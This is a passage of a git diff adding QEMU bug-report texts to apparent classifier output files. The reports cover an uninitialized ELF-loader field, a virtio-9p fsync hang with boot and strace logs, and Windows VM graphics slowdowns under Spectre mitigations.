qxl vmware amdgpu" XTABLES_ADDONS="quota2 psd pknock lscan length2 ipv4options ipset ipp2p iface geoip fuzzy condition tee tarpit sysrq steal rawnat logmark ipmark dhcpmac delude chaos account" +Unset: CC, CPPFLAGS, CTARGET, CXX, INSTALL_MASK, LC_ALL, PORTAGE_BINHOST, PORTAGE_BUNZIP2_COMMAND, PORTAGE_RSYNC_EXTRA_OPTS + +================================================================= + Package Settings +================================================================= + +app-emulation/qemu-3.1.0-r4::gentoo was built with the following: +USE="aio alsa bzip2 caps curl fdt filecaps gtk jpeg lzo ncurses nfs nls opengl pin-upstream-blobs png pulseaudio python sasl sdl seccomp snappy spice ssh static-user systemtap usb usbredir vde vhost-net virtfs vnc vte xattr xen -accessibility (-capstone) -debug (-glusterfs) -gnutls -infiniband -iscsi -numa -rbd (-selinux) -smartcard (-static) -tci -test -virgl -xfs" ABI_X86="(64)" PYTHON_TARGETS="python2_7 python3_6 -python3_5 (-python3_7)" QEMU_SOFTMMU_TARGETS="aarch64 arm hppa i386 m68k microblaze microblazeel mips mips64 mips64el mipsel ppc ppc64 s390x sparc sparc64 x86_64 -alpha -cris -lm32 -moxie -nios2 -or1k -riscv32 -riscv64 -sh4 -sh4eb -tricore -unicore32 -xtensa -xtensaeb" QEMU_USER_TARGETS="aarch64 arm armeb hppa i386 m68k microblaze microblazeel mips mips64 mips64el mipsel mipsn32 mipsn32el ppc ppc64 ppc64abi32 ppc64le s390x sparc sparc32plus sparc64 x86_64 -aarch64_be -alpha -cris -nios2 -or1k -riscv32 -riscv64 -sh4 -sh4eb -tilegx -xtensa -xtensaeb" + +>>> Attempting to run pkg_info() for 'app-emulation/qemu-3.1.0-r4' +Using: + app-emulation/spice-protocol-0.12.14 + sys-firmware/edk2-ovmf-2017_p20180211 + USE=binary + sys-firmware/ipxe-1.0.0_p20180211 + sys-firmware/seabios-1.11.0 + USE=binary + sys-firmware/sgabios-0.1_pre8-r1 + +The check in target_cpu_copy_regs at linux-user/mips/cpu_loop.c:776 Is reading an uninitialized value: + + if ((info->fp_abi > MAX_FP_ABI && info->fp_abi != MIPS_ABI_FP_UNKNOWN) + || (info->interp_fp_abi > MAX_FP_ABI && + info->interp_fp_abi != MIPS_ABI_FP_UNKNOWN)) { + fprintf(stderr, "qemu: Unexpected FPU mode\n"); + exit(1); + } + +info->interp_fp_abi is actually initialized, but by reading a value that isn't. It was previously 0x601de662 at the above if statement, but when I add this memset to load_elf_binary... + +int load_elf_binary(struct linux_binprm *bprm, struct image_info *info) +{ + struct image_info interp_info; + struct elfhdr elf_ex; + char *elf_interpreter = NULL; + char *scratch; + + memset(&interp_info, 0xfd, sizeof(interp_info)); + +... then it is 0xfdfdfdfd. + + + +In load_elf_binary (linux-user/elfload.c b/linux-user/elfload.c:2644) the entire interp_info struct should be inited, I would call this a CVE. At a very minimum, init the fp_abi field so we don't use whatever happened to be on the stack for the FPU mode should the ELF header not specify otherwise. + +Please send patches to the mailing list for inclusion. QEMU maintainers normally don't take patches from the bug tracker. See https://wiki.qemu.org/Contribute/SubmitAPatch + +Actually, this is a better patch. Let's sanitize struct image_info interp_info. + +This is certainly a bug, but it's not a a CVE, ie not a security bug. The entire purpose of the linux-user mode is to run the guest ELF file and let it perform whatever syscalls it likes -- it doesn't need to exploit any kind of bug in the ELF loader to be able to control what the process is doing. + + +Thanks Peter. I was just reading up on the CVE process and I agree. Obviously, it's dangerous to use uninitialized values, but that doesn't necessarily make it a vulnerability. + +And thank you Thomas for the instructions! + +Fix posted on the list: +https://lists.gnu.org/archive/html/qemu-devel/2019-04/msg04037.html + +A fix for this was committed as abcac736c1505254ec3 and will be in the upcoming 4.1 release. + +FWIW I am still seeing a similar failure with 5.1.0rc3 (using a "Hello World" like program in Ubuntu 20.04 x86_64 built statically): + +$ mipsisa32r6el-linux-gnu-gcc --static -o h h.c +$ ./qemu-mipsn32el ./h +qemu: Unexpected FPU mode + +big endian also seems to be affected + diff --git a/results/classifier/deepseek-1/output/instability./1815252 b/results/classifier/deepseek-1/output/instability./1815252 new file mode 100644 index 00000000..75a0d199 --- /dev/null +++ b/results/classifier/deepseek-1/output/instability./1815252 @@ -0,0 +1,91 @@ + +virtio-9p-pci passthrough fsync hang + +Tested against QEMU: e47f81b617684c4546af286d307b69014a83538a + +and $qemu-system-x86_64 --version +QEMU emulator version 2.11.1(Debian 1:2.11+dfsg-1ubuntu7.9) +Copyright (c) 2003-2017 Fabrice Bellard and the QEMU Project developers + ++ exec sudo qemu-system-x86_64 -enable-kvm -bios /usr/share/ovmf/OVMF.fd -cpu host -smp sockets=1,cpus=4,cores=2 -m 2048 -vga none -nographic -chardev socket,id=chrtpm0,path=/tmp/clrwifi/swtpm2/tpm-sock -tpmdev emulator,id=tpm0,chardev=chrtpm0 -device tpm-tis,tpmdev=tpm0 -device virtio-rng-pci -netdev user,id=mynet0,hostfwd=tcp::10022-:22 -device virtio-net-pci,netdev=mynet0 -kernel /home/.../Documents/c/iwd/tools/bzImage -append 'console=ttyS0,115200n8 quiet kvm-intel.nested=1 init=/usr/bin/bash initcall_debug tsc=reliable no_timer_check noreplace-smp cryptomgr.notests rootfstype=9p root=/dev/root rootflags=trans=virtio,version=9p2000.u rw' -fsdev local,id=fsdev-root,path=mnt,security_model=passthrough -device virtio-9p-pci,fsdev=fsdev-root,mount_tag=/dev/root +[ 0.000000] Linux version 4.19.0-rc2 (...) (gcc version 7.3.0 (Ubuntu 7.3.0-27ubuntu1~18.04)) #10 SMP Fri Feb 8 13:55:20 PST 2019 +[ 0.000000] Command line: console=ttyS0,115200n8 quiet kvm-intel.nested=1 init=/usr/bin/bash initcall_debug tsc=reliable no_timer_check noreplace-smp cryptomgr.notests rootfstype=9p root=/dev/root rootflags=trans=virtio,version=9p2000.u rw +[ 0.000000] KERNEL supported cpus: +[ 0.000000] Intel GenuineIntel +[ 0.000000] x86/fpu: Supporting XSAVE feature 0x001: 'x87 floating point registers' +[ 0.000000] x86/fpu: Supporting XSAVE feature 0x002: 'SSE registers' +[ 0.000000] x86/fpu: Supporting XSAVE feature 0x004: 'AVX registers' +[ 0.000000] x86/fpu: xstate_offset[2]: 576, xstate_sizes[2]: 256 +[ 0.000000] x86/fpu: Enabled xstate features 0x7, context size is 832 bytes, using 'standard' format. +[ 0.000000] BIOS-provided physical RAM map: +[ 0.000000] BIOS-e820: [mem 0x0000000000000000-0x000000000009ffff] usable +[ 0.000000] BIOS-e820: [mem 0x0000000000100000-0x00000000007fffff] usable +[ 0.000000] BIOS-e820: [mem 0x0000000000800000-0x0000000000807fff] ACPI NVS +[ 0.000000] BIOS-e820: [mem 0x0000000000808000-0x000000000080ffff] usable +[ 0.000000] BIOS-e820: [mem 0x0000000000810000-0x00000000008fffff] ACPI NVS +[ 0.000000] BIOS-e820: [mem 0x0000000000900000-0x000000007e87efff] usable +[ 0.000000] BIOS-e820: [mem 0x000000007e87f000-0x000000007e888fff] ACPI NVS +[ 0.000000] BIOS-e820: [mem 0x000000007e889000-0x000000007e889fff] ACPI data +[ 0.000000] BIOS-e820: [mem 0x000000007e88a000-0x000000007e88bfff] usable +[ 0.000000] BIOS-e820: [mem 0x000000007e88c000-0x000000007e88ffff] ACPI NVS +[ 0.000000] BIOS-e820: [mem 0x000000007e890000-0x000000007e8a9fff] reserved +[ 0.000000] BIOS-e820: [mem 0x000000007e8aa000-0x000000007e8b9fff] ACPI NVS +[ 0.000000] BIOS-e820: [mem 0x000000007e8ba000-0x000000007e8bafff] reserved +[ 0.000000] BIOS-e820: [mem 0x000000007e8bb000-0x000000007e9e5fff] usable +[ 0.000000] BIOS-e820: [mem 0x000000007e9e6000-0x000000007e9edfff] ACPI NVS +[ 0.000000] BIOS-e820: [mem 0x000000007e9ee000-0x000000007eb1afff] reserved +[ 0.000000] BIOS-e820: [mem 0x000000007eb1b000-0x000000007fb9afff] usable +[ 0.000000] BIOS-e820: [mem 0x000000007fb9b000-0x000000007fbf2fff] reserved +[ 0.000000] BIOS-e820: [mem 0x000000007fbf3000-0x000000007fbfafff] ACPI data +[ 0.000000] BIOS-e820: [mem 0x000000007fbfb000-0x000000007fbfefff] ACPI NVS +[ 0.000000] BIOS-e820: [mem 0x000000007fbff000-0x000000007ff3ffff] usable +[ 0.000000] BIOS-e820: [mem 0x000000007ff40000-0x000000007ff5ffff] reserved +[ 0.000000] BIOS-e820: [mem 0x000000007ff60000-0x000000007fffffff] ACPI NVS +[ 0.352469] acpiphp_ibm: ibm_acpiphp_init: acpi_walk_namespace failed +Started bpfilter +bash: cannot set terminal process group (-1): Inappropriate ioctl for device +bash: no job control in this shell +grep: /proc/cpuinfo: No such file or directory +grep: /proc/cpuinfo: No such file or directory +root@clr / # passwd +... +openat(AT_FDCWD, "/etc/nshadow", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 4 +umask(077) = 077 +openat(AT_FDCWD, "/etc/shadow", O_RDONLY|O_CREAT|O_CLOEXEC, 000) = 5 +fcntl(5, F_GETFL) = 0x8000 (flags O_RDONLY|O_LARGEFILE) +fstat(5, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0 +fchown(4, 0, 0) = 0 +fchmod(4, 0100644) = 0 +lseek(5, 0, SEEK_CUR) = 0 +fstat(5, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0 +read(5, "", 8192) = 0 +close(5) = 0 +fstat(4, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0 +write(4, "root:$6$jihvB1NonG88C5Yt$kvDCqF7"..., 124) = 124 +fsync(4 <- hung here + + + +I forgot to add that the kernel in that image (/usr/lib/kernel/org.clearlinux.*) does not have 9p support. So to compile the kernel I used the attached config + +I forgot to add that the kernel in that image (/usr/lib/kernel/org.clearlinux.*) does not have 9p support. So to compile the kernel I used the attached config + +Damn, I just ran into this bug again! Then realized I'd already reported it.... :( + +Sorry that nobody commented to this ticket in the past... Anyway: + +The QEMU project is currently considering to move its bug tracking to +another system. For this we need to know which bugs are still valid +and which could be closed already. Thus we are setting older bugs to +"Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/interaction./1788665 b/results/classifier/deepseek-1/output/interaction./1788665 new file mode 100644 index 00000000..69e05447 --- /dev/null +++ b/results/classifier/deepseek-1/output/interaction./1788665 @@ -0,0 +1,653 @@ + +Low 2D graphics performance with Windows 10 (1803) VGA passthrough VM using "Spectre" protection + +Windows 10 (1803) VM using VGA passthrough via qemu script. + +After upgrading Windows 10 Pro VM to version 1803, or possibly after applying the March/April security updates from Microsoft, the VM would show low 2D graphics performance (sluggishness in 2D applications and low Passmark results). + +Turning off Spectre vulnerability protection in Windows remedies the issue. + +Expected behavior: +qemu/kvm hypervisor to expose firmware capabilities of host to guest OS - see https://docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/CVE-2017-5715-and-hyper-v-vms + +Background: + +Starting in March or April Microsoft began to push driver updates in their updates / security updates. See https://support.microsoft.com/en-us/help/4073757/protect-your-windows-devices-against-spectre-meltdown + +One update concerns the Intel microcode - see https://support.microsoft.com/en-us/help/4100347. It is activated by default within Windows. + +Once the updates are applied within the Windows guest, 2D graphics performance drops significantly. Other performance benchmarks are not affected. + +A bare metal Windows installation does not display a performance loss after the update. See https://heiko-sieger.info/low-2d-graphics-benchmark-with-windows-10-1803-kvm-vm/ + +Similar reports can be found here: +https://www.reddit.com/r/VFIO/comments/97unx4/passmark_lousy_2d_graphics_performance_on_windows/ + +Hardware: + +6 core Intel Core i7-3930K (-MT-MCP-) + +Host OS: +Linux Mint 19/Ubuntu 18.04 +Kernel: 4.15.0-32-generic x86_64 +Qemu: QEMU emulator version 2.11.1 +Intel microcode (host): 0x714 +dmesg | grep microcode +[ 0.000000] microcode: microcode updated early to revision 0x714, date = 2018-05-08 +[ 2.810683] microcode: sig=0x206d7, pf=0x4, revision=0x714 +[ 2.813340] microcode: Microcode Update Driver: v2.2. + +Note: I manually updated the Intel microcode on the host from 0x713 to 0x714. However, both microcode versions produce the same result in the Windows guest. + +Guest OS: +Windows 10 Pro 64 bit, release 1803 + + + +QEMU is already capable of exposing the new CPU features to guests, so possibly a mis-configuration. Please provide the full QEMU command line args you are using for this guest too. + +Thanks for the reply. I understand that the CPU features are exposed. However, is the host-side Intel microcode exposed to the guest? + +Here is my qemu command: + +qemu-system-x86_64 \ + -runas user \ + -monitor stdio \ + -serial none \ + -parallel none \ + -nodefaults \ + -nodefconfig \ + -name $vmname,process=$vmname \ + -machine q35,accel=kvm,kernel_irqchip=on \ +-cpu host,kvm=off,hv_vendor_id=1234567890ab,hv_vapic,hv_time,hv_relaxed,hv_spinlocks=0x1fff \ + -smp 12,sockets=1,cores=6,threads=2 \ + -m 16G \ + -mem-path /dev/hugepages \ + -mem-prealloc \ + -balloon none \ + -rtc base=localtime,clock=host \ + -vga none \ + -nographic \ + -soundhw hda \ + -device vfio-pci,host=02:00.0,multifunction=on \ + -device vfio-pci,host=02:00.1 \ + -device vfio-pci,host=00:1a.0 \ + -device vfio-pci,host=08:00.0 \ + -drive if=pflash,format=raw,readonly,file=/usr/share/OVMF/OVMF_CODE.fd \ + -drive if=pflash,format=raw,file=/tmp/my_vars.fd \ + -boot order=c \ + -drive id=disk0,if=virtio,cache=none,format=raw,aio=native,discard=unmap,detect-zeroes=unmap,file=/dev/mapper/lm13-win10 \ + -drive id=disk1,if=virtio,cache=none,format=raw,aio=native,file=/dev/mapper/photos-photo_stripe \ + -drive id=disk2,if=virtio,cache=none,format=raw,aio=native,file=/dev/mapper/media-photo_raw \ + -netdev type=tap,id=net0,ifname=vmtap0,vhost=on \ + -device virtio-net-pci,netdev=net0,mac=00:16:3e:00:01:01 + + +By the way, the same 2D performance drop happens when I run the VM as root. + + +You're mis-understanding how microcode works a little. Microcode is loaded into physical CPUs in the host. This affects everything that runs on these CPUs thereafter. A KVM guest is merely a process running on the host CPUs, so it is affected by the updated microcode. There is no notion of the virtual CPUs having a different microcode. + +The doc you pointed to above + +https://docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/CVE-2017-5715-and-hyper-v-vms + +indicates that you must install the microcode in the host, which enables new CPUs features. These features should then be exposed to the guest. + +You say you've installed the microcode which is good, but did you also update the kernel ? + +Host kernel updates were required in order for KVM to be able to expose the new features from the microcode, to the guest. Essentially if your guest kernel shows "pti ssbd ibrs ibpb stibp" features as present, then thanks to your "-cpu host" usage, the guest should see them too. + + + +Thanks for your explanations - I thought so too. + +The new Intel microcode is applied, as you can see: +dmesg | grep microcode +[ 0.000000] microcode: microcode updated early to revision 0x714, date = 2018-05-08 +[ 2.810683] microcode: sig=0x206d7, pf=0x4, revision=0x714 +[ 2.813340] microcode: Microcode Update Driver: v2.2. + +The host kernel has the features you listed: +cat /proc/cpuinfo | grep flags +flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc cpuid aperfmperf pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm pcid dca sse4_1 sse4_2 x2apic popcnt tsc_deadline_timer aes xsave avx lahf_lm epb pti ssbd ibrs ibpb stibp tpr_shadow vnmi flexpriority ept vpid xsaveopt dtherm ida arat pln pts flush_l1d + +I'm still looking for a way to display the CPU flags under Windows. + +Here is my systeminfo (Windows) output: + + systeminfo + +Host Name: DESKTOP-K3DEAH0 +OS Name: Microsoft Windows 10 Pro +OS Version: 10.0.17134 N/A Build 17134 +OS Manufacturer: Microsoft Corporation +OS Configuration: Standalone Workstation +OS Build Type: Multiprocessor Free +Registered Owner: win +Registered Organization: +Product ID: 00330-80000-00000-AA554 +Original Install Date: 05-Jun-18, 22:58:49 +System Boot Time: 25-Aug-18, 00:17:19 +System Manufacturer: QEMU +System Model: Standard PC (Q35 + ICH9, 2009) +System Type: x64-based PC +Processor(s): 1 Processor(s) Installed. + [01]: Intel64 Family 6 Model 45 Stepping 7 GenuineIntel ~3200 Mhz +BIOS Version: EFI Development Kit II / OVMF 0.0.0, 06-Feb-15 +Windows Directory: C:\WINDOWS +System Directory: C:\WINDOWS\system32 +Boot Device: \Device\HarddiskVolume2 +System Locale: en-us;English (United States) +Input Locale: en-us;English (United States) +Time Zone: (UTC+02:00) Jerusalem +Total Physical Memory: 16,380 MB +Available Physical Memory: 12,955 MB +Virtual Memory: Max Size: 17,380 MB +Virtual Memory: Available: 13,233 MB +Virtual Memory: In Use: 4,147 MB +Page File Location(s): C:\pagefile.sys +Domain: WORKGROUP +Logon Server: \\DESKTOP-K3DEAH0 +Hotfix(s): 4 Hotfix(s) Installed. + [01]: KB4338832 + [02]: KB4343669 + [03]: KB4343902 + [04]: KB4343909 +Network Card(s): 1 NIC(s) Installed. + [01]: Red Hat VirtIO Ethernet Adapter + Connection Name: Ethernet 6 + DHCP Enabled: No + IP address(es) + [01]: 192.168.0.200 +Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed. + +Daniel Berrange: ...Essentially if your guest kernel shows "pti ssbd ibrs ibpb stibp" features as present, then thanks to your "-cpu host" usage, the guest should see them too. + +1. I changed my qemu start script and added +vmx: +-cpu host,kvm=off,hv_vendor_id=1234567890ab,hv_vapic,hv_time,hv_relaxed,hv_spinlocks=0x1fff,+vmx \ + +2. I installed cygwin on the Windows guest and ran cat /proc/cpuinfo. Here the output: + +processor : 11 +vendor_id : GenuineIntel +cpu family : 6 +model : 45 +model name : Intel(R) Core(TM) i7-3930K CPU @ 3.20GHz +stepping : 7 +cpu MHz : 3200.000 +cache size : 4096 KB +physical id : 0 +siblings : 12 +core id : 5 +cpu cores : 6 +apicid : 11 +initial apicid : 11 +fpu : yes +fpu_exception : yes +cpuid level : 13 +wp : yes +flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht pni vmx ssse3 cx16 sse4_1 sse4_2 x2apic popcnt aes xsave osxsave avx hypervisor lahf_lm arat xsaveopt tsc_adjust +clflush size : 64 +cache_alignment : 64 +address sizes : 40 bits physical, 48 bits virtual +power management: + +The flags "pti ssbd ibrs ibpb stibp" are not listed! How do I pass these flags/features to the Windows guest? + +For comparison, here the Linux/host cat /proc/cpuinfo (partial): + +processor : 11 +vendor_id : GenuineIntel +cpu family : 6 +model : 45 +model name : Intel(R) Core(TM) i7-3930K CPU @ 3.20GHz +stepping : 7 +microcode : 0x714 +cpu MHz : 4200.015 +cache size : 12288 KB +physical id : 0 +siblings : 12 +core id : 5 +cpu cores : 6 +apicid : 11 +initial apicid : 11 +fpu : yes +fpu_exception : yes +cpuid level : 13 +wp : yes +flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc cpuid aperfmperf pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm pcid dca sse4_1 sse4_2 x2apic popcnt tsc_deadline_timer aes xsave avx lahf_lm epb pti ssbd ibrs ibpb stibp tpr_shadow vnmi flexpriority ept vpid xsaveopt dtherm ida arat pln pts flush_l1d +bugs : cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf +bogomips : 6399.97 +clflush size : 64 +cache_alignment : 64 +address sizes : 46 bits physical, 48 bits virtual +power management: + + +I'm not convinced we can trust the output from cygwin wrt CPU flags. A better test would be to install a modern Linux guest which has the mitigations, and see if that reports the flags. + + +Thanks, I will do that tomorrow and report back. + +Whew, after some hurdles I managed to install a Linux Mint 19 guest (Ubuntu 18.04). After all updates, here the output: + +$ dmesg | grep microcode +[ 0.036780] core: PEBS disabled due to CPU errata, please upgrade microcode + +So the microcode in the guest is not loaded! But see below: + +$ cat /proc/cpuinfo | grep flags +flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon rep_good nopl xtopology cpuid pni pclmulqdq vmx ssse3 cx16 pcid sse4_1 sse4_2 x2apic popcnt tsc_deadline_timer aes xsave avx hypervisor lahf_lm cpuid_fault pti ssbd ibrs ibpb tpr_shadow vnmi flexpriority ept vpid tsc_adjust xsaveopt arat + +Here is the qemu command I use for this Linux guest (it is almost identical to the Windows 10 VM command): + +qemu-system-x86_64 \ + -runas user \ + -monitor stdio \ + -serial none \ + -parallel none \ + -nodefaults \ + -nodefconfig \ + -name $vmname,process=$vmname \ + -machine q35,accel=kvm,kernel_irqchip=on \ +-cpu host,kvm=off,hv_vendor_id=1234567890ab,hv_vapic,hv_time,hv_relaxed,hv_spinlocks=0x1fff \ + -smp 6,sockets=1,cores=3,threads=2 \ + -m 16G \ + -mem-path /dev/hugepages \ + -mem-prealloc \ + -balloon none \ + -rtc base=localtime,clock=host \ + -vga none \ + -nographic \ + -soundhw hda \ + -device vfio-pci,host=02:00.0,multifunction=on \ + -device vfio-pci,host=02:00.1 \ + -device vfio-pci,host=00:1a.0 \ + -device vfio-pci,host=08:00.0 \ + -drive if=pflash,format=raw,readonly,file=/usr/share/OVMF/OVMF_CODE.fd \ + -drive if=pflash,format=raw,file=/tmp/my_vars.fd \ + -boot order=c \ + -drive id=disk0,if=virtio,cache=none,format=raw,file=/home/user/win.img \ + -netdev type=tap,id=net0,ifname=vmtap0,vhost=on \ + -device virtio-net-pci,netdev=net0,mac=00:16:3e:00:01:01 + + +Kernel: 4.15.0-33-generic x86_64 + +$ grep microcode /proc/cpuinfo +microcode : 0x1 +microcode : 0x1 +microcode : 0x1 +microcode : 0x1 +microcode : 0x1 +microcode : 0x1 + +In essence: +The microcode is NOT loaded in the Linux VM. However, the following feature flags are listed: "pti ssbd ibrs ibpb". The "stibp" flag is missing. + +Hope this helps. + +Downloaded and ran the spectre-meltdown-checker.sh + +$ spectre-meltdown-checker.sh +Spectre and Meltdown mitigation detection tool v0.39+ + +Checking for vulnerabilities on current system +Kernel is Linux 4.15.0-33-generic #36-Ubuntu SMP Wed Aug 15 16:00:05 UTC 2018 x86_64 +CPU is Intel(R) Core(TM) i7-3930K CPU @ 3.20GHz + +Hardware check +* Hardware support (CPU microcode) for mitigation techniques + * Indirect Branch Restricted Speculation (IBRS) + * SPEC_CTRL MSR is available: YES + * CPU indicates IBRS capability: YES (SPEC_CTRL feature bit) + * Indirect Branch Prediction Barrier (IBPB) + * PRED_CMD MSR is available: YES + * CPU indicates IBPB capability: YES (SPEC_CTRL feature bit) + * Single Thread Indirect Branch Predictors (STIBP) + * SPEC_CTRL MSR is available: YES + * CPU indicates STIBP capability: NO + * Speculative Store Bypass Disable (SSBD) + * CPU indicates SSBD capability: YES (Intel SSBD) + * L1 data cache invalidation + * FLUSH_CMD MSR is available: YES + * Enhanced IBRS (IBRS_ALL) + * CPU indicates ARCH_CAPABILITIES MSR availability: NO + * ARCH_CAPABILITIES MSR advertises IBRS_ALL capability: NO + * CPU explicitly indicates not being vulnerable to Meltdown (RDCL_NO): NO + * CPU explicitly indicates not being vulnerable to Variant 4 (SSB_NO): NO + * Hypervisor indicates host CPU might be vulnerable to RSB underflow (RSBA): NO + * CPU microcode is known to cause stability problems: NO (model 0x2d family 0x6 stepping 0x7 ucode 0x1 cpuid 0x206d7) + * CPU microcode is the latest known available version: NO (latest known version is 0x714 according to Intel Microcode Guidance, August 8 2018) +* CPU vulnerability to the speculative execution attack variants + * Vulnerable to Variant 1: YES + * Vulnerable to Variant 2: YES + * Vulnerable to Variant 3: YES + * Vulnerable to Variant 3a: YES + * Vulnerable to Variant 4: YES + * Vulnerable to Variant l1tf: YES + +CVE-2017-5753 [bounds check bypass] aka 'Spectre Variant 1' +* Mitigated according to the /sys interface: YES (Mitigation: __user pointer sanitization) +* Kernel has array_index_mask_nospec: YES (1 occurrence(s) found of x86 64 bits array_index_mask_nospec()) +* Kernel has the Red Hat/Ubuntu patch: NO +* Kernel has mask_nospec64 (arm64): NO +> STATUS: NOT VULNERABLE (Mitigation: __user pointer sanitization) + +CVE-2017-5715 [branch target injection] aka 'Spectre Variant 2' +* Mitigated according to the /sys interface: YES (Mitigation: Full generic retpoline, IBPB, IBRS_FW) +* Mitigation 1 + * Kernel is compiled with IBRS support: YES + * IBRS enabled and active: YES (for kernel and firmware code) + * Kernel is compiled with IBPB support: YES + * IBPB enabled and active: YES +* Mitigation 2 + * Kernel has branch predictor hardening (arm): NO + * Kernel compiled with retpoline option: YES + * Kernel compiled with a retpoline-aware compiler: YES (kernel reports full retpoline compilation) +> STATUS: NOT VULNERABLE (Full retpoline + IBPB are mitigating the vulnerability) + +CVE-2017-5754 [rogue data cache load] aka 'Meltdown' aka 'Variant 3' +* Mitigated according to the /sys interface: YES (Mitigation: PTI) +* Kernel supports Page Table Isolation (PTI): YES + * PTI enabled and active: YES + * Reduced performance impact of PTI: YES (CPU supports PCID, performance impact of PTI will be reduced) +* Running as a Xen PV DomU: NO +> STATUS: NOT VULNERABLE (Mitigation: PTI) + +CVE-2018-3640 [rogue system register read] aka 'Variant 3a' +* CPU microcode mitigates the vulnerability: YES +> STATUS: NOT VULNERABLE (your CPU microcode mitigates the vulnerability) + +CVE-2018-3639 [speculative store bypass] aka 'Variant 4' +* Mitigated according to the /sys interface: YES (Mitigation: Speculative Store Bypass disabled via prctl and seccomp) +* Kernel supports speculation store bypass: YES (found in /proc/self/status) +> STATUS: NOT VULNERABLE (Mitigation: Speculative Store Bypass disabled via prctl and seccomp) + +CVE-2018-3615/3620/3646 [L1 terminal fault] aka 'Foreshadow & Foreshadow-NG' +* Mitigated according to the /sys interface: YES (Mitigation: PTE Inversion; VMX: conditional cache flushes, SMT vulnerable) +> STATUS: NOT VULNERABLE (Mitigation: PTE Inversion; VMX: conditional cache flushes, SMT vulnerable) + + + +It shows that the microcode is not updated, and reports vulnerability. + +If I understand correctly, the Linux VM should not install the microcode, but report the microcode features of the host. + + * CPU indicates STIBP capability: NO + +Obviously stibp is not passed to the guest. + +Is there any other/better way to pass the host cpu capabilities to the VM? + + +> Whew, after some hurdles I managed to install a Linux Mint 19 guest (Ubuntu 18.04). After all updates, here the output: +> +> $ dmesg | grep microcode +> [ 0.036780] core: PEBS disabled due to CPU errata, please upgrade microcode +> +> So the microcode in the guest is not loaded! But see below: + +As mentioned earlier there is no concept of loading microcode in the guest. Once it is loaded in the host it applies to everything running on that host. + +This message appears to be caused by fact that we do not expose the current microcode version to the guest, so the guest always sees 0x1 as the microcode version, causing this PEBS check to fail. I don't think this is related to the meltdown/spectre fixes - you'd likely get that error message even on older systems before meltdown/spectre + +> $ cat /proc/cpuinfo | grep flags +> flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon rep_good nopl xtopology cpuid pni pclmulqdq vmx ssse3 cx16 pcid sse4_1 sse4_2 x2apic popcnt tsc_deadline_timer aes xsave avx hypervisor lahf_lm cpuid_fault pti ssbd ibrs ibpb tpr_shadow vnmi flexpriority ept vpid tsc_adjust xsaveopt arat + +This looks correct - the guest has seen the ssbd, ibrs, ibpb features as required. + +> The microcode is NOT loaded in the Linux VM. However, the following feature flags are listed: "pti > ssbd ibrs ibpb". The "stibp" flag is missing. + +The "stipb" flag is not relevant to guests, it is only needed by the hypervisor, so it is to be expected that the guest doesn't see it. + +Everything seen from this Linux guest says that QEMU / KVM is doing the right thing and the guest has the features needed to mitigate Spectre/Meltdown. + +The possibilities left are that either your Windows guest is lacking software updates that could perhaps improve its performance, or that 2D graphics really is that awful in combination with spectre/meltdown fixes. + +>The possibilities left are that either your Windows guest is lacking software updates that could perhaps improve its performance, or that 2D graphics really is that awful in combination with spectre/meltdown fixes. + +Thanks Daniel. There are two problems with this explanation: + +1. A native "bare metal" Windows 10 (1803) installation with all updates applied does NOT have any 2D performance problems. See my attachment (benchmarks) in the original post. + +2. Both the Windows VM and the Linux VM do not see the microcode (version?), and therefore do not know about the Spectre vulnerability mitigation in the host kernel. However, the Microsoft document https://docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/CVE-2017-5715-and-hyper-v-vms suggests that Microsoft Hyper-V can be configured to expose new processor capabilities to guest virtual machines, specifically the ones made available through the microcode updates. Here a quote from the above Microsoft website: +"Firmware updates from your OEM may contain new processor capabilities that can be used to protect against CVE-2017-5715 (IBRS, STIBP, IBPB). Once the virtualization host's firmware has been updated, the hypervisor can make these additional capabilities available to guest virtual machines after taking the following steps." + +The ideal behavior of qemu/kvm would be to expose the microcode capabilities to the guest (I suppose this happens partially as seen by the presence of the "pti ssbd ibrs ibpb" flags), but obviously something is missing. + +But the real important question is this: +In the above scenario, are the VMs protected from Spectre vulnerabilities, simply by having the microcode installed in the host? Even when I disable the Spectre protection inside the Windows VM? + +There is always a performance differential between bare metal & VMs. The actual amount varies depending on alot of different factors and meltdown/spectre have had an effect here - the actual perf hit depends on the CPU models & virtual hardware and more besides - ranging anywhere from 0% to 40% perf hit + +The guest VM *does* know about the Spectre mitigation because it is being given the "ibrs" feature which is sufficient for guest OS to mitigate the problem. STIBP is only needed by the host. Exposing microcode version to the guest is not required as OS should only need to look at the features provided to determine if it can mitigate the flaws. The complaints about microcode version from spectre-meltdown-checker.sh are a bug in that script. The important parts are the 